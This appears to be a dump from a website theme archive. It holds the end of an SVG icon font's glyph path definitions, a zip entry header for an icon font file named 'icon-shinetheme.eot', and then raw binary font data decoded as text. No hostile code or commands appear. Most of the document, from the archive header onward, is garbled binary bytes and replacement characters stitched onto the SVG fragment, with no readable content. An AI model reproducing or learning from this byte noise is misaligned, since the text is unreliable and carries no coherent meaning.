		C 24.259,74.275,0,65.517,0,44.506L0-37.12 l 311.226,0 c0,0,0,48.272,0,61.174C 311.226,43.251, 273.437,61.328, 229.018,79.92z"  />
<glyph unicode="&#xe418;" d="M 331.968,60.365c-55.216,20.115-72.867,37.094-72.867,73.45c0,21.818, 16.867,14.694, 24.259,54.656c 3.069,16.576, 17.965,0.269, 20.832,38.102
		c0,15.075-8.131,18.838-8.131,18.838s 4.144,22.333, 5.757,39.491C 303.789,306.317, 289.453,361.6, 212.8,361.6C 136.17,361.6, 121.789,306.317, 123.805,284.902
		C 125.418,267.744, 129.562,245.411, 129.562,245.411S 121.408,241.67, 121.408,226.573c 2.845-37.834, 17.741-21.526, 20.81-38.102
		c 7.414-39.962, 24.282-32.838, 24.282-54.656c0-36.355-17.651-53.334-72.867-73.45c-55.418-20.16-91.392-40.746-91.392-54.79c0-14.022,0-47.152,0-47.152
		l 210.56,0 l 210.56,0 c0,0,0,33.13,0,47.152C 423.36,19.597, 387.363,40.182, 331.968,60.365z"  />
<glyph unicode="&#xe419;" d="M 263.76,115.469l0-97.597 L 425.6,167.728L 263.76,312.32l0-86.598 C 67.2,225.722, 22.4,7.68, 22.4,7.68C 78.019,106.016, 157.069,115.469, 263.76,115.469z"  />
<glyph unicode="&#xe41a;" d="M 161.84,252.288L 161.84,312.32 L0,167.728l 161.84-149.878l0,62.25 L 67.2,167.728L 161.84,252.288z M 273.84,225.722L 273.84,312.32 L 112,167.728l 161.84-149.878l0,97.619 
		c 73.763,0, 118.541-9.453, 174.16-107.789C 448,7.68, 439.779,225.722, 273.84,225.722z"  />
<glyph unicode="&#xe41b;" d="M 425.6,7.68c0,0-44.8,218.019-241.36,218.019L 184.24,312.32 L 22.4,167.728l 161.84-149.878l0,97.619 C 290.931,115.469, 369.981,106.016, 425.6,7.68z"  />
<glyph unicode="&#xe41c;" d="M 433.194,170.237c-8.803,9.341-51.162,50.893-70.538,69.866c-5.958,5.802-14.47,9.498-23.363,9.498c-8.87,0-115.27,0-115.27,0
	s-106.4,0-115.293,0S 91.302,245.882, 85.366,240.080c-19.376-18.973-61.779-60.525-70.56-69.866c-10.954-11.648-16.957-20.944-14.090-32.458l 12.566-68.858
	c 2.845-11.514, 15.456-20.944, 28.022-20.944l 365.389,0 c 12.566,0, 25.178,9.43, 28.022,20.944l 12.589,68.858C 450.15,149.27, 444.147,158.589, 433.194,170.237
	z M 314.675,155.318c-2.285,0-4.323-1.165-5.354-2.979l-18.301-45.606L 157.002,106.733 l-18.301,45.606c-1.008,1.814-3.091,2.979-5.354,2.979L 53.939,155.318 
	l 45.718,51.722l 248.73,0 l 45.696-51.722L 314.675,155.318 z"  />
<glyph unicode="&#xe41d;" d="M 111.126-64c-29.926,0-57.949,12.678-78.198,32.95c-39.2,39.2-50.154,107.654, 4.816,162.624C 69.978,163.763, 199.002,292.787, 263.402,357.187
		c 22.87,22.87, 51.946,31.696, 79.811,24.214c 27.35-7.302, 49.795-29.725, 57.12-57.098c 7.459-27.866-1.389-56.963-24.237-79.811l-215.757-215.779
		c-12.32-12.32-26.23-19.622-40.23-21.078c-13.843-1.456-27.059,3.002-36.333,12.253c-16.8,16.778-19.174,48.362, 8.736,76.25l 151.536,151.581
		c 6.227,6.205, 16.33,6.205, 22.557,0c 6.227-6.227, 6.227-16.33,0-22.557l-151.558-151.558c-13.104-13.104-14.314-25.626-8.736-31.203
		c 2.442-2.419, 6.16-3.539, 10.438-3.091c 6.563,0.694, 14.045,4.95, 21.034,11.939l 215.757,215.757c 14.806,14.806, 20.474,32.211, 15.971,49.034
		c-4.435,16.554-18.010,30.128-34.563,34.563c-16.822,4.502-34.227-1.187-49.034-15.971C 221.536,270.23, 92.512,141.206, 60.301,109.018
		c-42.022-42.022-31.965-90.384-4.838-117.533c 27.149-27.126, 75.51-37.206, 117.555,4.838L 398.653,221.936c 6.205,6.227, 16.33,6.227, 22.534,0
		c 6.227-6.227, 6.227-16.33,0-22.534L 195.552-26.234C 168.963-52.845, 139.216-64, 111.126-64z"  />
<glyph unicode="&#xe41e;" d="M 95.29-58.669c 6.854,22.422, 17.248,54.006, 31.158,99.702c 60.614,9.789, 85.702-7.818, 124.208,62.362
	c-31.248-9.766-68.925,18.122-66.886,30.195c 2.016,12.096, 87.651-8.714, 143.696,72.531c-70.65-15.882-93.274,19.107-84.157,24.394
	c 21.034,12.208, 83.485,5.062, 116.771,38.147c 17.158,17.024, 25.178,58.442, 18.211,73.226c-8.4,17.83-59.517,44.442-87.696,41.955
	c-28.179-2.509-72.374-109.514-85.478-108.662S 189.392,323.094, 212.262,366.864c-24.125-10.886-68.32-44.778-82.186-73.741
	c-25.827-53.894, 2.419-177.475-6.63-181.888c-9.072-4.39-39.558,56.739-48.653,84.448c-12.432-42.47-12.723-85.030, 23.61-141.568
	c-13.709-37.094-21.19-79.789-22.333-101.494C 75.533-64.762, 92.266-68.48, 95.29-58.669z"  />
<glyph unicode="&#xe41f;" d="M 370.966,306.989c-32.301,32.323-56.56,27.485-56.56,27.485L 201.219,221.286L 71.904,91.971L 49.28-14.72l 106.691,22.624l 129.315,129.315l 113.165,113.165
		C 398.451,250.384, 403.312,274.643, 370.966,306.989z M 149.61,20.739l-36.355-7.84c-3.517,6.563-7.75,13.126-15.478,20.877
		c-7.728,7.728-14.314,11.939-20.877,15.456l 7.862,36.378l 10.506,10.506c0,0, 19.802-0.403, 42.134-22.736c 22.355-22.355, 22.758-42.157, 22.758-42.157
		L 149.61,20.739z"  />
<glyph unicode="&#xe420;" d="M 418.746,324.976C 411.062,322.266, 30.755,188.269, 23.274,185.626c-6.362-2.24-7.795-7.728-0.224-10.73
	c 8.982-3.606, 85.030-34.070, 85.030-34.070L 108.058,140.826 l 50.422-20.205c0,0, 242.749,178.282, 246.042,180.678c 3.293,2.419, 7.123-2.128, 4.726-4.726
	c-2.397-2.621-176.31-190.714-176.31-190.714c-0.022,0-0.022,0-0.022,0l-10.125-11.29l 13.418-7.213l0,0c0,0, 104.16-56.067, 111.574-60.077
	c 6.496-3.494, 14.963-0.582, 16.845,7.504c 2.218,9.542, 63.728,274.669, 65.094,280.538C 431.514,323.005, 426.451,327.686, 418.746,324.976z M 158.032-0.429
	c0-5.533, 3.114-7.056, 7.414-3.158c 5.6,5.107, 63.818,57.344, 63.818,57.344l-71.232,36.87L 158.032-0.429 z"  />
<glyph unicode="&#xe421;" d="M 35.706,265.594c 10.931-5.891, 162.378-87.226, 168.022-90.25C 209.35,172.32, 216.653,170.864, 224,170.864c 7.37,0, 14.672,1.456, 20.294,4.502
		c 5.645,3.024, 157.069,84.358, 168,90.25C 423.248,271.485, 433.597,289.92, 413.504,289.92L 34.518,289.92 C 14.426,289.92, 24.752,271.485, 35.706,265.594z M 416.931,220.794
		c-12.432-6.496-165.021-86.262-172.637-90.25S 231.37,126.042, 224,126.042c-7.347,0-12.656,0.515-20.272,4.502S 43.501,214.32, 31.091,220.794
		C 22.333,225.363, 22.4,220.010, 22.4,215.888c0-4.122,0-164.304,0-164.304C 22.4,42.176, 34.922,30.080, 44.621,30.080l 358.781,0 c 9.722,0, 22.198,12.096, 22.198,21.482
		c0,0,0,160.182,0,164.304C 425.6,220.010, 425.69,225.363, 416.931,220.794z"  />
<glyph unicode="&#xe422;" d="M 190.4,361.6L 170.262,361.6 C 165.312,361.6, 161.28,357.568, 161.28,352.64l0-85.12 L 82.074,267.52 c-3.696,0-8.288-0.851-12.678-2.195
		C 64.96,263.958, 60.726,262.077, 57.702,260.016l-53.2-36.512C 1.501,221.443,0,218.733,0,216s 1.501-5.443, 4.502-7.504l 53.2-36.512
		C 60.726,169.923, 64.96,168.042, 69.395,166.675C 73.786,165.331, 78.378,164.48, 82.074,164.48L 161.28,164.48 l0-197.12 c0-4.95, 4.032-8.96, 8.96-8.96L 190.4-41.6 
		c 4.95,0, 8.96,4.032, 8.96,8.96L 199.36,352.64 C 199.36,357.568, 195.35,361.6, 190.4,361.6z M 443.498,268.282l-53.2,36.512c-3.002,2.061-7.235,3.942-11.67,5.309
		C 374.214,311.469, 369.622,312.32, 365.926,312.32L 212.8,312.32 l 17.942-103.040l 135.184,0 c 3.696,0, 8.288,0.851, 12.701,2.195s 8.669,3.248, 11.67,5.286l 53.2,36.512
		C 446.522,255.357, 448,258.067, 448,260.8S 446.522,266.243, 443.498,268.282z"  />
<glyph unicode="&#xe423;" d="M 345.005,61.373l-58.822,168.806c-16.195,46.458-66.461,72.128-114.083,59.45L 127.837,375.51C 123.827,383.283, 114.442,386.262, 106.848,382.163
		C 99.254,378.042, 96.342,368.41, 100.352,360.637l 43.21-83.843c-34.429-22.848-52.326-66.147-40.992-106.915l 47.936-172.39
		c 13.485-48.451, 68.992-73.136, 124.79-56.067C 330.378-39.248, 361.558,13.93, 345.005,61.373z M 199.338,184.125C 183.008,178.771, 165.491,187.978, 160.25,204.755
		C 155.008,221.51, 164.013,239.453, 180.365,244.806c 16.352,5.376, 33.869-3.853, 39.11-20.608S 215.712,189.501, 199.338,184.125z"  />
<glyph unicode="&#xe424;" d="M 310.845,384L 137.155,384 C 112,384, 91.437,363.437, 91.437,338.282l0-356.563 C 91.437-43.414, 112-64, 137.155-64l 173.69,0 c 25.155,0, 45.718,20.586, 45.718,45.718
		L 356.563,338.282 C 356.563,363.437, 336,384, 310.845,384z M 224-45.722c-17.651,0-31.987,10.237-31.987,22.87s 14.336,22.87, 31.987,22.87
		c 17.674,0, 31.987-10.237, 31.987-22.87S 241.674-45.722, 224-45.722z M 319.984,22.867L 127.994,22.867 L 127.994,324.573 l 191.99,0 L 319.984,22.867 z"  />
<glyph unicode="&#xe425;" d="M 251.53,132.47c-35.459-35.482-76.541-69.395-92.781-53.133c-23.251,23.229-37.565,43.478-88.816,2.307s-11.894-68.634, 10.64-91.168
		c 25.984-25.962, 122.842-1.366, 218.602,94.371c 95.715,95.738, 120.355,192.618, 94.349,218.602c-22.512,22.534-49.952,61.869-91.146,10.64
		s-20.944-65.565, 2.307-88.816C 320.88,209.011, 286.989,167.952, 251.53,132.47z"  />
<glyph unicode="&#x20;" horiz-adv-x="224" />
</font></defs></svg>PK!o������.bluetheme/assets/css/fonts/icon-shinetheme.eotnu&1i�����LP��@=icomoonRegularVersion 1.0icomoon
�PFFTMhb$T��GDEF��� OS/2.�ܝXVcmapĘū�
 gasp����glyfwe�9,<head�c���6hhea��$hmtxs�6��loca.8�"�Lmaxp
t8 nameP���Hh�post����I�7�=@�_<���@��@��.����(0��@.v�q9@��#9>#9�sPfEd@�����(�D��������������8������������� �
�T��0������������8��������������������������T�T�������������������T�8���8���������������+�+����������8���8�������������������8�������������������8���*������"��(��8���������������������������������T�8����������������������������������������������������������������T�8�8�b�T�8�8�p�����������������������8�8�7��8�8�8��������������������,���T�T�8�������8����������������������d������p�����������������������������������������T����)����������������������1����*����������������������������������������������PP����������������������������8�8��������������������������P���PP���������P�����������P������������������������������P��PPPP������������PP�����_�*�r�7��7�c���*�*��T���������������*�������������������-�|�{������8���������8��������8������������T�8����*���S���������T�T�M�����J�T�*�*������������T�������b����������������T�������������������@�����`�`������`���`���`����������@@@���
��������`��
��``� ��`������	`�@` ��������`�����������  ���������� ��  ��  ������``@`���``�����������
���������������������`��������`���������������`������@``������ ��������������������
�
����`���`����``����
�
������������  
�����`�������������������`���@����`� ��� ����������@�`�����`�����`�������,4
b1p=�`xpp}##}�}}��^^��xx�CLL5C555P�
PP.YYYCi�d�,5CCCCCYC
,

(
^x^^###,,,vJCC,#
g,
CCCC!G(1bb�P,C/`(!	#,-/,,,,,,pJ1d[-�4 �%��>�N�^�n�~��������������.�>�N�^�n�~����!�@�P�`�p�������������� �0�@�P�`�p�2|��		*	F	b	~	�	�	�	�	�

*
F
b
~
�
�
�
�
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./�0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~�����������������������������������������������������������������������������������������������������������������������������	

vwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~������������������utsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"! 

	��������������������������������������������������������������������������������������������������������������������������������~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"! T��H�X�P�l�4��d�D��l	<	�	�
�
�
��`
4
�T�H�H�\�4�� t��0��������H�P�` < � �!<!�""D"�"�#8#p$$�%H%�&l'P'�(�(�))p)�* *�+0+x+�,d,�,�-@-�-�..H.�.�.�//L/�/�00�101�2�3�44�5�6�6�7T7�8l989�:�:�;X;�<l<�=L=�>>|>�>�?�?�@h@�ApA�B�C|DE�F@F�GHG�HLH�I(IpI�J�KlK�L<L�MTM�NHN�OTO�PpP�Q<Q|R0R�SSlS�S�T�T�UUtU�VLV�WW�W�XYYhY�ZDZ�Z�[[L\�^$^�_@_�`Laa�a�b c\d�d�e e`e�e�fLf�gg�hh�ii�jjtkktll|mhnn�o@pp�q�r�s(s�tDt�uTu�v$v�w�x�z{4{�{�|X|�}}T}�}�~ ~�~����(�p�����P�����<�X����������D�h�����h���L�|���(�d����D������4�T�|�������$�t����P�����4��� ��������l���<�|�����4�p�����8�X����T�����,����X���P� �T�����,�����8������h����l�����P���T���<���x�P��������L������@�������d����x����<����l���(���0�����0������`�<�8�X�4�h���������l��|����<�����p��L��Ĉ�dƨ�0�������h���x�@���d����Ϝ�(��Ѭ���`��հ�X���ظ�`�x���,�l��ݸ�p���`��p�,���X����L������`����@�����$�x����x���<�����P������4������l���h����<�����p��X���X�����D�����4��� �x����0�h������P�x������@�x������0�h�����P���,��������$�L�t����0��`�X�d���`�l��D��	<	�	�
@
�
� h�d��
8
�0�H|�0t��t�H��4�D|�h�`�T��H�D�|p��� , �"8#@$t%D%�&P&�'�(H(�)�*�+�,�.0h1|2�3�4�5�5�6�7�7�888�9<9�:�;�=�>H>�?8?p?�@ @�A<A�BBhB�C D�D�E�F�F�G G�H HtH�I$J\KK�LLPL�M MhM�NNtN�ODP�Q$Q�Q�RXRtR�S�T$UUpU�`�`�aTa�bb\b�c�d\d�e�f$f�f�f�gHg�hh0h�i�jPj�j�kDl`m�nn�o�pdp�q\rr<sls�t�v�ww�x,x�x�y�z�{D{�|\|�}�~�(���`���H���h��h���d������x��x�@���T�4��� ���H������X�X���<�����(�t��p�����4���H���$���T�����������t�d�T�D����������������4�4�����\���d���d���t���<����t��h�,���0���0��X���€���Xè�8����0�ǔȔ��ɬ�p���L���h�@���(Ϭ�\�ш��Ӽ�h��ׄ�H���|�@ڼ۴�4�d�(��ބ���`���d���8������$��,��<�� �����H�d� ���<��,����,����`�X�(�����`�D�h��|� �T�����D�x�����������`��	
T ���
L
���Txt@��L�T�\� L!`"L"�#�$@$�%t%�&�''�(�(�)X*8+D+�-�.\//�0,0�1`22H3t4�5x88�9�9�:�;@;�<<�<�=l>0>�>�?�?�A BXB�C�D�E$E�F�GLG�HxH�II�J0J�KK|K�LDL�MDM�N�O�P\P�QxQ�RTR�R�SHS�T$T|T�UULU�V(V�W<W�X�Y�ZDZ�Z�[T[�\D]]�_D_�`�aTbcdd�e�f�g�hh�i jlkkplLl�nn�n�o�pLp�q�r�sPs�t<t�u`vv�wLw�xTydz�{t||�}X}�~���(���X���L���x���`���l��������`����������8���������������h����H������������T����������\���8���T���,�d�D�,�h�$���P�������p�������������d����������H�|������L�������D�������� �8����� �l����������,�L�l�P���������<��<�t�����H����D�h�����p�����@����p���X��������Œ���\à��\���H��ƨ����lǼ��4�l��`ɰ��d�ˤ�$̘��\͔ʹ��@�p���$�h����h��,ќ���@҄�,Ӏ��p���,լ��|���<���|�ٔ���Xۼ�$��\ެ��p���P�������t�����`��4�H�l��L���h������,�|��������<����p���X�����H���4���<���d���D����d��h�@�<��x`�l		�	�
(
`
��@�

�h�<����!��@��@���s%'57#5##57�����8ppp�~��G��A�pp�~���V%'5#'3353353�T8T�8�8�8vT~FT��TT����d7353377&"&462��**T8T**�  d�**�TT�**,  	����'3#3#3#3#3#3#3#73#35335#��888888p888888���8T8�@�88888888888���pp����H#5!3!26=!!!!3#3#3#'3#��xzT��P����ppppTT���8���8������	2'767''7z)b��~b���)b��~b`������?'.'?#%75�8��E+8�T�T��"h�ěw"����T�T�8����-7>67.>67&6767"37767.�
9	H$4/F�_S3T:% 9	0 (>^}o8�	)����'7"'73264&"'>57�bb88�11w"x0%�bb8�F##x"wMG\#����42#4&#52#4'.'&#"/723264&"'>527�Qs*Z@t�*B*-0792b
||8*,sQ@Z~�t0-*B~9)*8*
||
)+A8����0%4145./10267<#"'>54'0�$109,%b�b8A..7k&UB7=>W&E``E.@_8
1(���d%)%5#54&#!"3!26=3##";2=4+57!5!�T��48�8���4��Tp8������d!!!!577&462"���P8�@l��TsQT"",��P�x���8��8Q""���H!!!462"!77��x�p"";��Tp8H��l��4W""��*���H
!''5!462"%!35!8�8?1�P��""��xl���]5Q��W""�����H (,6264&"7#.+"#"3!26=4&"&4627#53�5L55L�b
pb��fIIfIH88�L55L5?����IfIIfy����%"&46325"&46325�49R99)�9R99),T8�)):)�5�)):)�����17;5#"33275&#74&"5&5462&'>54'6T�b���


s�s


�����]��](%0�
QssQ
�0%���H&"27645�a�aa�a��:I�II���T	���H"!#535#535#53#3#535#535#537���888888���T888888�pH��P��88888����888888�T���H%)6462"&462"54&+"3!26=5#53�):)):�):)):'F�*p����:)):)):)):)F*�*FČT����'/7G#";26=4&"&462&"&462"&462"&462&"&462'.+"463z�))�))�"""";"";""""'�) ,)�))�)��""�""m""m""�""� )�'����.#"3267'62"&4�Y2]��]2Y�2$*���*$�� ����%.'127;5.'2>&f(9

9()0J""TT""J0�=%%=I8'$87%'8I
����3%">7654&#"&'&#"32767;5.'3264&X'5%%5'&55&&%TT%&&55�
'
'&66&'
'
5L6
-FF-
6L5T��l�7����������%654&'654&"!4&B$):)$-5�5j!7))7!Z66Z���d'3<P$4&#3#3#6&"'&'&476762$47+32'?6'6"'&'&476762�"$
#m66h2$						��!!.8$
4���^0!L -
*w)		)w*
_D*&*��..��.d#62&"/62&"%& '6762462"ӊ2(!\!(OR�R(A�A7F6'c��c'6FI�l�1(!!(ORR(BB�6'bb'6������
0H%4&"3'>'&5462'>54&".5462'>54&".5462����QA�AQ�!.!!%B\B%! *5RtR5* 5Bs�sB�]��]Gss!!L
8"/FF/"8
MKH.:RR:.HKa<RwwR<a���]'6462"764".467.467364�!.!!.Z!((!�!((!s>0880�0880>�.!!.!�BNB2��2BNB	�KcvccvcK�����!"&463!!"3!3#���
��!!P���H��"P!��!������,7!3#3#3#3#�jYj��pp88ppp88$��$48�48����&!357#357#357#357!'"&462���b8�8�8�8T�������������88@����#!"3!2654&!!3#3#3#53#z��P��4������������l�xP������#-!"3!2654&!!3#3#6462"3#"354&z��P��4�����""-8����l�xP��""����$'.+"3!26=4&'3#!33�4
*�4{5QT��p.4
���*$5�Pp����$(,0'.+"3!26=4&'3#!333#3#3#�4
*�4{5QT��p�������.4
���*$5�Pp8����*'.+"3!2654&#5#!"54;23�>
$�BHO���o)>
��
$
H��zo����	#5'#3!5'#'#'33##53533lTTĨT,,�,,��T���T8TT��p�,,�,8T�pT�T8����%)#3##35#";7453#54&+"#3'#53zp��fpT888�T88H�pP��f��T88����5#3!%#53537##5353�T���,T�TT,��T�pT�pPH,��TTTp�,��T����
*-3#54&+"#3'#5354+3##535#";375537##534888�T88��p~�TT,T��H88pF8���TT��,T����� #)%54+54&+"#";375%3#53537##53lb8b~�T��88T�8,T���F��TT�p8��,T�����
*-3#54&+"#3'#5354+3##535#";!##53534888�T88�TTp~�,��T�H88pF8Tp���T4(,ĨT���d
%'5''77'7�����I-��-��-��-��ppp�KKK>ppYppY���H	5!!!73��xz�x���P8���H
7!733lT��T88~8�$��l88������#"2?>=4&"&462�~*��#
�
8""�
�
#��*~�""���d*#"2?>=4&"&462&/&4?>3�b*
�

z
"
�
8""���
z

�
*�
d
�
"
z

�
*b�""w�
z
"
�
�
���H#'+/37;?3#3#3#3#3#3#3#3#3#3#73#73#73#73#'3#'3#88T8TpT�T���T8��T88�88H������������������9����#'+/37;?CGKOSW[_cgkosw{�������������������������#37#53#%#37#53##37#53#3#;+3#;+3#;+3#3#;+3#;+3#;+3#;#73#%3#73#'3#73#;#73#;#73#;#73#;#73#3#'3#73#;#73#73#3#'3#73#73#;#73#3#'3#;#73#;+3#73#73#�pp�888lpp�888�pp�888���x8pT�8�8�T88dp���88Tp���88�p���88��88888888888888����#'7'%'"&4?'&"7622764'7�8p8*   

��

   


�p�p�8p8z   

��

   


�p�p����%462"$462"75!4&#23!5!"&58""�"";��!!P��'""""�!�!����.>%26?6&#!4&+33!264&+=3#+"&=46;2+"&=46;2s)��!TT
������!8��T����H!%)-159=EM&!'.+";;2?653#=3'3#3#3#3#537#537#53462"6462"���F-�8�888�?;841-�#+3;CK��""�""(��sT��""""���d#'+"264"&462'535#5##3#33535+53#53)�{{�{��bb�b�8888888T8d{�{{��b�bb�T8p8p8�8���H#'+!"3!26=4&!2!54!"=!%3#73#73#���l��l�xz�����88H��**��~~T88888���d#'+;G#";26=4&#537#";2654&#535#53#";26=4&##5#53533�������������8888d��pT��l�8T��p8888����"+5"264462"7'64'?'1&"/62&4?271"=�������1F11F�N		6y ,$N�)%		Ny
, $N�������F11F1	 ,
$N�N		%)y, $N�6		N���d%#"&54>76&#"3>54&4
p
O*GR�*	/]h
p
]**�RG.O0��(%&54>'.#"&'&76767212023�
	@;'"	;@	
;��;�7	
777����&*426=#5!"3!5326=#5326=#5"2"&4#3#546;2�8��l88�.!!.!T�!8!8�xp88!.!!.�����!!���d1Y!#";#";#";#";!2654&#5326=4+5326=4+5326=4+5326=4+53���)		))		))		))		)Q��8



8d8				8l�x	
	
	
	
���H!"3!2654&57!7!?���l�v&�---\��vH���\�n00v{�����#37577'7�**bbMw�Mp**�b�**pM�wMbb**bT��l�">54"&462tRF##0%iF11F1�R:>�..IG^':�1F11FT��l�">54"&462&462"tRF##0%hH22H2� ,  ,�R:>�..IG^':�2H22H,  , ����"264"&462/#35&"&462=�������kk�k�~F~d��������k�kk�uF~F8���d7'%��4�p,8��8P��/P	��-P���d'77/7%7&�������pp�pp�pp,88��888P$-��-�)��)$))����d2#5264&"3'3>#53�QssQ@ZZ�-"QbbH
n�p8ds�s*Z�Z-"/ppH`�8�T����
%'53"264"&462 \8L�������bb�b8\|dL �������b�bb�����
"264'53=������\8L�������\|dL���d+37'5372.'6&54632"37273'654"&462�0(@8p#1$=)�)=$1#,��b&
'Z'
&z\BB\B�0(@`�1#,)=$$=),#18bF</Y22Y/<F�B\BB\����!%)"264"&4627654&#"'&#"63#73#1�ss�s��]]�]1#)X�)#13jTTHs�ss��]�]]��#1!!1#KY�����(<%4.54'.'654&"27>5."&'&'6762�!!-!%/!!cLDLcW#. , .#((:�:("#0%	%7	


B+%0#&&		



����'5354&+"32654&"&47672/�8T8Gak�ka7RtR)'8

8')+hHKkkKHh�RRt)'��')����#'3773#73#73#3#73#73#'3#73#73#'3##5##5#!!!�88T88T88�88T88T88T88T88T88�8848�88���l�88888p88888�88888884�@��\4����#+3?EU#"&=#"&=#"3!2654&!5!$2=4"2=4"#3#3#;5#3!"&53!26=�*�*P��P���8�pppp�88J��<H��4���88888b88��

���d#3#!";35326=4&#536"&462p��4�xT�T|��vd8�pp���j���H#'+/37;?C!"3!2654&3##5'3##5'3##5'3#3##53#53#535#535#53�@��88T8p88T8p88T8T88���pTT88TTH��8888T888T888T88T8888888���d%!3#35#5!!��@�T�T�P��P������H
%54&#!"#!5#537!5!���8��ppT��L��TT8�T��l�#";2654&3#"&4627#3B���ppDT�����l�D8��l�#";2654&"&4627#3P���


h����x��T


34����!"3!2654&"427#3^���p�����l�NP���� &'7'"#'2764"'&4762�;@HbpUNHa�aFI�II�IHbpU
I�II��		1l1		1l8����)-=#!5#54+"#54;2!5!4;2#54+"#!5!4;2#54+"#4�TPp	&		^	�P��p	^		&	pP��p	^		&	�8ppT		/		�p%		/		�p%		/		���,
#3!26=##'#734���p8p8Lu�u,�F**F88�����,#3!26=#'3%73%3'#!'#4����p���u�u����F$�,�pp8��TT����%)'!'73#3#3#3#!"3!2?6&#53�"��"9��������B�\040�pp�����8�

�8���d	!3!25'3533%7!l��T��TpT��dT��&�pTT����d	!3!25#5#7%7!l��T��pT����dT��&�TTpp����d?#5##'7'75�pT8T� r��r z��pppB *EE* .pTTp���d7353'3'7575�8TppTT�������ppp1+0EE0+?pTTp����!!#3#!3353��x��88����!��@�p�P�����H!265!%3#!!T#1�@1;8�x�1##184����d"'3'632654&�]AB�?1FFb9%L�dBB�?1bFL2*Ce]����d57&5463235&#"L%9bFF1?�BA]]��eC*2LFb1?�BB�����5!55!��@ب�\�����3!3���\���@�����>.'76M K8��9V0	$@;=/o��m5GLM+����55&.>���8K $	0Vm��o/=;!MLG5+����755.>s K8��9V0	$�;=/o��m5GLM����7'7>&'Ĩ�8K $	0V-m��o/=;!MLG5���d2#"'5>54'.54����]!N2 ',dk�k!&J*K����1#"'#"&4622&#""#"'5>54'.546�-4JJhJ�[�!%A.0!N2 ',�
 !B\BB.$
hI)+=!&J*Kk����-2#"'5>54'.54.'#"'27676545{�{{WH.$*�('<>1bF#3$�d�d$E'F��&	9%&++;!;���d4"6763233276764'&'&2#"'5>54'.54H!-$!--����]!N2 ',,$1
$b$Ck�k!&J*K����E#"'#"&4626763233"'5>54'.54632&'&'&'&"�-4JJhJ��-!N2 ',�][�#!H!
 !B\BB.$
$1
8!&J*KkhI&����4M"6763233276764'&'&2#"'5>54'.54.'#"'27676545�B)


!))��{{WH.$*�('<>1bF#3$H

!,

!X!
Bd�d$E'F��&	9%&++;!;���V,%"&=6726'4>."3;4.

&


	C>��>CM&+		+!55�����V(P%&56726'0>."13;4&67&'&'&767&767&#"13336B	
 
	a��a�

C
	a�  %		%<<		:=	%
<8���];!"&54767&'&54762%3&'&'&=47>54&"s��	"$!!b!!$"��#+<+#@	02'!&6'(('6&!'20	*)-&55&-)���y;c!"&54767&'&54762%3&'&'&=47>54&"'#67676=4'.5463267&#";6���	"$!!b!!$"��#+<+#M)#+1!!$"	:@	02'!&6'(('6&!'20	*)-&55&-))-&5('6&!'20	���d6462"#"3!354&pB\BB\��.B�B�\BB\BB..B8����462"#7''#"!54.�1F11F�X!**!XP	F11F1��**��
��
���,#72"&=463"6!2"&=463"6b)99Q:sQ:))99Q:sQ:)�9R99)Qs8)9R99)Qs8)����%9%>54'!!654&4675.5!'&=4767#3&?.7�|7..7�7��4..444..4k!!�!!3��i>>ii>>i�?^,^??^,^?$$$$EE����#+5?G462"4621"462"4621"462"&4621"&4621"462"�!.!!.V!.!!.,A��##@1.!!.!.!!!Kf!B�#Z���y<%.'&7>767232654'.'&7>76�#@()++N;!<&%)(I8,8##&&D3

4 !##?/�-P=">''**K9 :$I$5
6"!%$B1
1 "���	!)747'7&%654''7.'675"'27TQG2%%2GQp> Q\:� >:\<22t2�aBD)66)DBa�84D�8UD4�

E����"264$2"&4"&47264'7=�������\BB\B-o�o7+VzV+7������B\BB\|oo�8+zVVz+8����!">322654&267#"&54&"�[�jJKk"�][�jJKk"���[PosQ]��@�[PosQ]�����%#7&"2767#"&46327��?1�bb�1+ W2]��]]AB�?1b�b1%#)���BB����)5=I3#73##5##5##";26=3;26=4&#"&46;27#"4;2#"&46;2��ਨ�ppp

�
8
�
��l		l		O�l		l		�ppppp
�

��

�
��������%'&654&"3276."&462�j(b�bbF>/Z!�\BB\BZ/>Fbb�b(j
!qB\BB\����)%'&654&"3276."&462'##33535#�j(b�bbF>/Z!�\BB\BT888888Z/>Fbb�b(j
!qB\BB\�88888����!%'&654&"3276."&462'3#�j(b�bbF>/Z!�\BB\BĨ�Z/>Fbb�b(j
!qB\BB\J8����
''7''537#7'7#57�<]/\<�\/]<��<�<\/_\<�<]��<\/]<<]/\<���<�<]//]<�<\����
73''7!'535#57'7#7'7�<Y/XX/Y<��<Y/X�<�<X/��<X/YY/X<�8�<X/Y0<�<Y/����
''7'#57�FT*TFFTF�FT��FT*TF��TF�FT����
7''7'%#57�FT*TF�TF�FT��FT*TF�TF�FT����!%1%'&/.353535356?6&'77/&?6�,",		y
�T888>
Q����
	w


	w
�,",	Q
>�b88
y	��5

w	


w	����";53535373264"&462ntR�888$:RQ""�R:

